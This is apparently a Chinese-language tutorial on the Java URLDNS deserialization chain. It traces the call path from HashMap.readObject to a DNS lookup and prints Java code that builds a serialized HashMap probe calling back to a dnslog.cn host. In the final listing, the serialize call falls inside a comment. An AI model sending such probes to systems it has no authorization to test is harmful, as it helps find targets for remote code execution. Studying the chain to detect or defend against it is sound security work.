URLDNS链是java原生态的一条利用链,通常用于存在反序列化漏洞进行验证的,因为是原生态,不存在版本限制
HashMap结合URL触发DNS检查的思路。在实际过程中可以首先通过这个去判断服务器是否使用了readObject()以及能否执行。之后再用各种 gadget 尝试RCE
HashMap最早出现在JDK 1.2中,底层基于散列算法实现。而正是因为在HashMap中,Entry的存放位置是根据Key的Hash值来计算,然后存放到数组中的。所以对于同一个Key,在不同的JVM实现中计算得出的Hash值可能是不同的。因此,HashMap实现了自己的writeObject和readObject方法。
来看一下它的readObject方法
前面主要是使用的一些防止数据不一致的方法,我们可以忽视。主要看putVal时候key进入了hash方法,跟进putVal里hash函数
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
//如果key是null,则返回0,表示空键的哈希码为0。
//否则,计算键的hashCode(),并将结果保存在变量h中。然后,将h右移16位(h >>> 16),再与原始的h进行异或(XOR)操作
这里直接调用了key的hashCode方法。那么我们现在就需要一个类hashCode可以执行某些东西即可。我们发现了URL类,它有一个有趣的特点,就是当执行hashCode方法时会触发当前URLStreamHandler的hashCode方法。
URL->hashCode
hashCode等于-1的时候调用handler中的hashCode
持续点进去查看函数,发现在这里调用了DNS查询
也就是说我们现在的思路是:通过hashmap放入一个URL的key然后会触发DNS查询。这里需注意一个点就是URLStreamHandler中的hashCode方法中首先进行了一个缓存判断,即如果不等于-1会直接return
因为在生成hashMap put时候会调用hashCode方法,所以会缓存下来,即hashCode不为 -1。所以为了让被接收者触发DNS查询,我们需要先通过反射把hashcode值改为-1,绕过缓存判断。
正常的情况下,hashmap->put的时候就会进行dns
import java.net.URL;
import java.util.HashMap;
public class DnsTest {
public static void main(String[] args) throws Exception {
HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>();
URL url = new URL("http://hobeey.dnslog.cn");
hashmap.put(url, 222);
}
}
得到一个ip
整个调用链
HashMap->readObject() HashMap->hash() URL->hachCode() URLStreamHandler->hachCode() URLStreamHandler->getHostAddress() InetAddress.getByName()
反序列化利用
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class DnsTest {
public static void main(String[] args) throws Exception {
HashMap hashmap =new HashMap();
URL url = new URL("http://nxfsji.dnslog.cn");
Class c = url.getClass();
Field fieldhashcode=c.getDeclaredField("hashCode");
fieldhashcode.setAccessible(true);
fieldhashcode.set(url,222); //第一次查询的时候会进行缓存,所以让它不等于-1
hashmap.put(url,2);
fieldhashcode.set(url,-1); //让它等于-1 就是在反序列化的时候等于-1 执行dns查询serialize(hashmap);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}
}
进行反序列化